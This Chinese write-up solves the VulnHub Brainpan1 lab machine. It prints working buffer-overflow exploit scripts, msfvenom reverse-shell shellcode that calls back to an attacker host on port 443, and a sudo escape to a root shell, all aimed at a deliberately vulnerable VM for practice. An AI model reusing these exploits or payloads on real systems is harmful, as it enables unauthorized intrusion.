VulnHub-Brainpan1 靶机笔记

Brainpan1 靶机笔记

概述

靶机地址:https://vulnhub.com/entry/brainpan-1,51/#download

这台靶机是很好的缓冲区溢出漏洞利用的练习靶机,涉及到逆向和缓冲区溢出漏洞挖掘的一些知识。

一、nmap 扫描

1)端口扫描

nmap -sT --min-rate 10000 -p- -o ports 192.168.11.12
Nmap scan report for 192.168.11.12
Host is up (0.0012s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT      STATE SERVICE
9999/tcp  open  abyss
10000/tcp open  snet-sensor-mgmt
MAC Address: 00:0C:29:C2:77:55 (VMware)

看到开放了 9999 和 10000 两个端口

2)详细信息扫描

nmap -sT -sV -sC -p9999,10000 -o details 192.168.11.12
Nmap scan report for 192.168.11.12
Host is up (0.00059s latency).PORT      STATE SERVICE VERSION
9999/tcp  open  abyss?
| fingerprint-strings: 
|   NULL: 
|     _| _| 
|     _|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_| 
|     _|_| _| _| _| _| _| _| _| _| _| _| _|
|     _|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _|
|     [________________________ WELCOME TO BRAINPAN _________________________]
|_    ENTER THE PASSWORD
10000/tcp open  http    SimpleHTTPServer 0.6 (Python 2.7.3)
|_http-title: Site doesn't have a title (text/html).
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9999-TCP:V=7.93%I=7%D=10/25%Time=671B59B3%P=x86_64-pc-linux-gnu%r(N
SF:ULL,298,"_\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20_\|\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\n_\|_\|_\|\x20\x20\x20\x20_\|\x20\x20_\|_\|\x20\x20\x20\x20_\|_\|_\
SF:|\x20\x20\x20\x20\x20\x20_\|_\|_\|\x20\x20\x20\x20_\|_\|_\|\x20\x20\x20
SF:\x20\x20\x20_\|_\|_\|\x20\x20_\|_\|_\|\x20\x20\n_\|\x20\x20\x20\x20_\|\
SF:x20\x20_\|_\|\x20\x20\x20\x20\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\
SF:x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\
SF:x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\n_\|\x20\x20\x20\x20_\
SF:|\x20\x20_\|\x20\x20\x20\x20\x20\x20\x20\x20_\|\x20\x20\x20\x20_\|\x20\
SF:x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\
SF:x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\n_\|_\|_\|\x20\
SF:x20\x20\x20_\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20_\|_\|_\|\x20\x20
SF:_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|_\|_\|\x20\x20\x20\x20\x20\
SF:x20_\|_\|_\|\x20\x20_\|\x20\x20\x20\x20_\|\n\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20_\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20_\|\n\n\[________________________\x20WELCOME\x20TO\x20BRAINPAN\
SF:x20_________________________\]\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20ENTER\
SF:x20THE\x20PASSWORD\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\n
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20>>\x20");
MAC Address: 00:0C:29:C2:77:55 (VMware)

二、Web 渗透

对于 10000 端口,进行了 web 端常规的测试

打开,同时进行目录爆破

image-20241025190742525

看到主页面就是一张纯图片,也没有令我们感兴趣的信息,我们看看目录爆破能不能给我们一些有用的信息

sudo gobuster dir -u http://192.168.11.12:10000 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.11.12:10000
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/bin                  (Status: 301) [Size: 0] [--> /bin/]
Progress: 220560 / 220561 (100.00%)
===============================================================
Finished
===============================================================

image-20241025191047048

看到 /bin 目录下有一个 brainpan.exe 的可执行文件,我们下载下来

wget http://192.168.11.12:10000/bin/brainpan.exe

image-20241025191314228

看到这个文件就是 windows 的可执行文件

三、缓冲区溢出

1)判断漏洞存在

我们用 nc 与 9999 端口交互

nc -v 192.168.11.12 9999
192.168.11.12: inverse host lookup failed: Unknown host
(UNKNOWN) [192.168.11.12] 9999 (?) open
_|                            _|                                        
_|_|_|    _|  _|_|    _|_|_|      _|_|_|    _|_|_|      _|_|_|  _|_|_|  
_|    _|  _|_|      _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|    _|  _|        _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|_|_|    _|          _|_|_|  _|  _|    _|  _|_|_|      _|_|_|  _|    _|_|                          _|[________________________ WELCOME TO BRAINPAN _________________________]ENTER THE PASSWORD                              >> brainpanACCESS DENIED

看到他让我们输入 password,输入后 ACCESS DENIED 了

把从浏览器下载的 brainpan.exe 拿到 windows 环境中运行

image-20241025191852363

看到这个文件在我的 windows 电脑上开启了 9999 端口,我们用 nc 和 windows 的 9999 交互看看

nc -v 192.168.11.1 9999 
192.168.11.1: inverse host lookup failed: Unknown host
(UNKNOWN) [192.168.11.1] 9999 (?) open
_|                            _|                                        
_|_|_|    _|  _|_|    _|_|_|      _|_|_|    _|_|_|      _|_|_|  _|_|_|  
_|    _|  _|_|      _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|    _|  _|        _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|_|_|    _|          _|_|_|  _|  _|    _|  _|_|_|      _|_|_|  _|    _|_|                          _|[________________________ WELCOME TO BRAINPAN _________________________]ENTER THE PASSWORD                              >> brainpan1ACCESS DENIED

看到应该是和靶机一样的服务,靶机的 9999 可能就来自于这个服务

在服务端看到了向缓冲区复制的字样

image-20241025192143040

2)判断最大字节数

这里可以用 python 写一个 socket 连接,去跟服务进行交互

import socket,time,sys
mystr = 'A'
i = 1
while True:try:client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)client.connect(('192.168.11.1', 9999))msg = (mystr*100*i).encode('utf-8')print(msg)client.send(msg)print("[+]"+str(i*100)+"个字节已发送")i=i+1client.close()time.sleep(5)except :print("连接终止")sys.exit()

在 kali 中执行

sudo python BufferOverflow.py

看到发送到 600 字节时中断了

image-20241025201055522

而在 window 中,接受到 600 字节时服务自己中断了

image-20241025201139287

这里溢出的长短应该是不超过 600 个字节

3)定位 eip

用 msf 生成一组特定的长度和特征的字节,来判断具体位置

msf-pattern_create -l 600
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9

用 Ollydbg 打开 brainpan.exe 可执行程序,并运行

image-20241025201643298

kali 向 brainpan.exe 发送 msf 生成的 600 长度的字符串

image-20241025201849757

看到 eip 的值 35724134

image-20241025202206307

确定位置

image-20241025202239772

看到 eip 的位置应该是在 524 个字节处

运行

import socket,time,sys
try:client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)client.connect(('192.168.11.1', 9999))msg =  'A'*524+'B'*4+'C'*72client.send(msg.encode('utf-8'))print("[+]"+str(600)+"个字节已发送")client.close()time.sleep(5)
except :print("连接终止")sys.exit()

image-20241025221050541

发送完之后看到 eip 为 42424242

image-20241025221136924

42 在 ascii 里就是 B 字符

也就是 eip 的位置是 525、526、527、528 四个字节

4)esp扩容

因为我们的payload长度一般为350-400字节,而72字节肯定是不够的,我们将esp扩容看程序的崩溃反应,。

我们尝试输入500个C

import socket,time,sys
try:client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)client.connect(('192.168.11.1', 9999))msg =  'A'*524+'B'*4+'C'*500client.send(msg.encode('utf-8'))print("[+]"+str(600)+"个字节已发送")client.close()time.sleep(5)
except :print("连接终止")sys.exit()

看到堆栈是从 005FFD40 开始的

image-20241025222151276

一直到 005FFF14

image-20241025222245066

相减一下得到堆栈的空间大小

image-20241025222504493

看到堆栈的大小是468字节

5)坏字符识别

用到badchars库

git clone https://github.com/cytopia/badchars.git

执行

./badchars
\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff

看到所有可能的坏字符全部被列出来了

修改程序

import socket,time,sys
try:client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)client.connect(('192.168.11.1', 9999))badchars = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"+"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"+"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"+"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"+"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"+"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"+"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"+"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"+"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"+"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"+"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"+"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"+"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"+"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"+"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"+"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")msg =  'A'*524+'B'*4+badcharsclient.send(msg.encode('utf-8'))print("[+] badchars已发送")client.close()time.sleep(5)
except :print("连接终止")sys.exit()

通过坏字符识别发现除了/x00之外,没有其他的坏字符

6)jmp esp定位

右键搜索命令

在这里插入图片描述

image-20241026123230503

看到存在jmp esp ,它的地址是 311712F3

三、获得立足点

生成linux的反弹shell

msfvenom -p linux/x86/shell_reverse_tcp lhost=192.168.11.13 lport=443 -b "/x00"  -f c
unsigned char buf[] = 
"\xdd\xc4\xd9\x74\x24\xf4\x58\x31\xc9\xbb\x99\xc8\x26\x0f"
"\xb1\x12\x31\x58\x17\x03\x58\x17\x83\x59\xcc\xc4\xfa\x68"
"\x16\xff\xe6\xd9\xeb\x53\x83\xdf\x62\xb2\xe3\xb9\xb9\xb5"
"\x97\x1c\xf2\x89\x5a\x1e\xbb\x8c\x9d\x76\xfc\xc7\x55\x8b"
"\x94\x15\x6a\x92\xdf\x93\x8b\x24\x79\xf4\x1a\x17\x35\xf7"
"\x15\x76\xf4\x78\x77\x10\x69\x56\x0b\x88\x1d\x87\xc4\x2a"
"\xb7\x5e\xf9\xf8\x14\xe8\x1f\x4c\x91\x27\x5f";

构造最终的payload

import socket,time,sys
try:client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)client.connect(('192.168.11.12', 9999))buf = ("\xbb\x35\x4b\x5e\xd8\xd9\xd0\xd9\x74\x24\xf4\x5a\x33\xc9"
"\xb1\x12\x31\x5a\x12\x83\xc2\x04\x03\x6f\x45\xbc\x2d\xbe"
"\x82\xb7\x2d\x93\x77\x6b\xd8\x11\xf1\x6a\xac\x73\xcc\xed"
"\x5e\x22\x7e\xd2\xad\x54\x37\x54\xd7\x3c\x08\x0e\x2c\xb1"
"\xe0\x4d\x33\xc8\x4b\xd8\xd2\x7a\xcd\x8b\x45\x29\xa1\x2f"
"\xef\x2c\x08\xaf\xbd\xc6\xfd\x9f\x32\x7e\x6a\xcf\x9b\x1c"
"\x03\x86\x07\xb2\x80\x11\x26\x82\x2c\xef\x29")msg = "\x41"*524 + "\xf3\x12\x17\x31"+ "\x90"*50 + buf client.send(bytes(msg+ "\r\n", "latin-1"))print("[+] payload send successful")client.close()time.sleep(5)
except :print("连接终止")sys.exit()

执行

image-20241026150210842

成功获得了立足点

四、提权

sudo -l
Matching Defaults entries for puck on this host:env_reset, mail_badpass,secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/binUser puck may run the following commands on this host:(root) NOPASSWD: /home/anansi/bin/anansi_util

看到/home/anansi/bin/anansi_util这个文件不需要密码可以用root权限运行

运行看看

sudo /home/anansi/bin/anansi_util
Usage: /home/anansi/bin/anansi_util [action]
Where [action] is one of:- network- proclist- manual [command]

看到有帮助信息,尝试执行

sudo /home/anansi/bin/anansi_util manual /bin/bash

image-20241026151520935

进入了这样的界面,这个界面我们可太熟悉了。很像vi、vim、less这种的

用同样的方式尝试提权

!/bin/bash

image-20241026151650597

看到我们成功获得了root权限的shell

image-20241026151727518

总结

通过nmap发现目标开放了9999、10000两个端口,通过对10000端口进行常规的web渗透测试,发现了在/bin目录下有一个可执行文件。

下载下来文件进行观察,发现这个文件就是运行在9999端口的服务,通过对缓冲区溢出漏洞的发现和利用,成功获得了系统立足点,利用sudo -l看到有一个可执行程序可以利用进行提权

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/58483.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

echarts实现 水库高程模拟图表

需求背景解决思路解决效果index.vue 需求背景 需要做一个水库高程模拟的图表&#xff0c;x轴是水平距离&#xff0c;y轴是高程&#xff0c;需要模拟改水库的形状 echarts 图表集链接 解决思路 配合ui切图&#xff0c;模拟水库形状 解决效果 index.vue <!--/*** author:…

安全见闻-web安全

web安全 一、web程序简介 1. Web程序的基本构成 2. 工作流程 3. 安全性 二、JavaScript代码库 1. 代码库的概念和用途 2. 常见的代码库 三、框架 1. 常见的前端框架 2. 常见的后端框架 四、数据库 1. 数据库的分类 2. 数据库的潜在漏洞 3. 学习数据库的重要性 五、…

Vue.js(2) 基础:指令与功能概览

正确的开始&#xff0c;微笑的进步&#xff0c;然后持续 文章目录 class和Style绑定v-bind绑定classv-bind绑定style 指令v-model指令v-clock指令v-once指令自定义指令 功能过滤器操作dom计算属性 class和Style绑定 v-bind绑定class 绑定数据对象<div id"app"&g…

【Linux探索学习】第九弹——Linux工具篇(四):项目自动化构建工具—make/Makefile

Linux笔记&#xff1a;https://blog.csdn.net/2301_80220607/category_12805278.html?spm1001.2014.3001.5482 前言&#xff1a; 在前面我们学习了如何用编译并执行&#xff0c;在现代软件开发中&#xff0c;构建一个项目涉及多个步骤&#xff0c;从编译源代码到链接库文件&a…

基于SpringBoot+Vue+MySQL的房屋租赁系统

系统展示 系统背景 随着城市化进程的加速和人口流动性的增加&#xff0c;房屋租赁市场逐渐成为城市生活的重要组成部分。然而&#xff0c;传统的房屋租赁方式存在诸多问题&#xff0c;如信息不对称、交易成本高、租赁关系不稳定等&#xff0c;这些问题严重影响了租赁市场的健康…

View三大机制(一):触摸机制(事件分发)

传递过程遵循如下顺序&#xff1a;Activity->Window->PhoneWindow->DecorView->RootView->ViewGroup->View View事件方法执行顺序:onTouchListener > onTouchEvent > onLongClickListener > onClickListener 主要由三个重要的方法共同完成的,只有Vi…

【面试】rabbitmq的主要组件有哪些?

目录 1. Producer&#xff08;生产者&#xff09;2. Broker&#xff08;消息代理&#xff09;3. Exchange&#xff08;交换机&#xff09;4. Queue&#xff08;队列&#xff09;5. Consumer&#xff08;消费者&#xff09;6. Binding&#xff08;绑定&#xff09;7. Channel&am…

namespace 隔离实战

Docker简介 什么是虚拟化、容器化为什么要虚拟化、容器化?虚拟化实现 什么是虚拟化、容器化 物理机: 实际的服务器或者计算机。相对于虚拟机而言的对实体计算机的称呼。物理机提供给虚拟机以硬件环境&#xff0c;有时也称为“寄主”或“宿主”。 虚拟化: 是指通过虚拟化技术将…

Java AQS CountDownLatch 源码

前言 相关系列 《Java & AQS & 目录》《Java & AQS & CountDownLatch & 源码》《Java & AQS & CountDownLatch & 总结》《Java & AQS & CountDownLatch & 问题》 涉及内容 《Java & AQS & 总结》《Java & AQS &am…

Canvas 画布

文章目录 1. 初识1.1 认识画布1.2 兼容性1.3 上下文属性 2. 绘制2.1 绘制基本图形2.1.1 绘制矩形2.1.2 绘制圆形2.1.3 绘制直线2.1.4 绘制圆弧2.1.5 绘制贝塞尔二次曲线2.1.6 绘制贝塞尔三次曲线2.1.7 封装路径 2.2 颜色控制2.2.1 颜色设置2.2.2 线性渐变2.2.3 径向渐变2.2.4 圆…

使用 web (vue 和DRF))实现 模拟一个IDE 功能思路

采用文件系统和数据库相结合的方案&#xff0c;不仅可以实现基本的文件管理&#xff0c;还可以为未来的扩展提供灵活性。结合我们讨论的内容&#xff0c;以下是更完善的策略&#xff1a; 方案概述&#xff1a;文件系统与数据库结合 文件系统负责实际的文件存储和执行操作&…

javascript中的展开运算符是什么

展开运算符&#xff08;Spread Operator&#xff09;是 JavaScript 中一个非常有用的语法特性&#xff0c;它通过三个点 ...来展开可迭代对象&#xff08;如数组或对象&#xff09;&#xff0c;使其可以更方便地进行操作。 1. 数组中的使用 1.1 合并数组 展开运算符可以轻松地…

XML解析小坑记录[正则表达式解析]

一、问题描述 在做 SSO 单点登录时( 认证中为CAS服务对接 )。在完成对用户ticket票根校验后&#xff0c;返回了用户信息有关 XML 数据片段&#xff0c;例如下&#xff1a; <cas:serviceResponse xmlns:cas"http://www.xxx.xx/xx/cas"><cas:authentication…

ffmpeg视频滤镜:网格-drawgrid

滤镜介绍 drawgrid 官网链接 》 FFmpeg Filters Documentation drawgrid会在视频上画一个网格。 滤镜使用 参数 x <string> ..FV.....T. set horizontal offset (default "0")y <string> ..FV.....T. set…

(50)MATLAB最优延迟迫零均衡器仿真测试与评估

文章目录 前言一、最优延迟迫零均衡器评估模型二、最优延迟迫零均衡器仿真代码1.代码如下&#xff1a;2.迫零均衡器函数zf_equalizer()的MATLAB源码 三、仿真结果画图1.不同权系数长度和延迟的迫零均衡器性能2. 不同权系数长度的迫零均衡器的最佳延迟 前言 对于预设均衡器延时…

用AI绘画工具提升创作效率,这款神器你一定不能错过!

在如今的创作领域&#xff0c;无论是插画师、设计师&#xff0c;还是内容创作者&#xff0c;都在寻找能够提升效率的工具&#xff0c;而AI绘画工具的诞生无疑是一场创意革命。通过AI技术的支持&#xff0c;我们不再需要耗费大量时间在绘制基础草图或反复调整细节上&#xff0c;…

为什么要使用Golang以及如何入门

什么是golang&#xff1f; Go是一种开放源代码的编程语言&#xff0c;于2009年首次发布&#xff0c;由Google的Rob Pike&#xff0c;Robert Griesemer和Ken Thompson开发。基于C的语法&#xff0c;它进行了一些更改和改进&#xff0c;以安全地管理内存使用&#xff0c;管理对象…

Oracle故障诊断(一线DBA必备技能)之ADRCI(四)

1. 题记&#xff1a; 本篇博文继续详细介绍一线DBA必备技能—Oracle DB故障诊断工具ADRCI。 2. 使用 ADRCI 进行故障诊断的步骤 1. 查看警报日志 警报日志是故障诊断的重要信息源&#xff0c;它记录了数据库启动、关闭、错误消息等关键事件。 首先启动 ADRCI。在操作系统命…

基于SpringBoot的项目工时统计成本核算管理源码带教程

该系统是基于若依前后端分离的架构&#xff0c;前端使用vue2&#xff0c;后端使用SpringBoot2。 技术框架&#xff1a;SpringBoot2.0.0 Mybatis1.3.2 Shiro swagger-ui jpa lombok Vue2 Mysql5.7 运行环境&#xff1a;jdk8 IntelliJ IDEA maven 宝塔面板 系统与功…

嵌入式学习-网络-Day04

嵌入式学习-网络-Day04 1.IO多路复用 1.1poll poll同时检测键盘和鼠标事件 1.2epoll 2.服务器模型 2.1循环服务器模型 2.2并发服务器模型 多进程模型 多线程模型 IO多路复用模型 网络聊天室 项目要求 问题思考 程序流程图 1.IO多路复用 1.1poll int poll(struct pollfd *fds, n…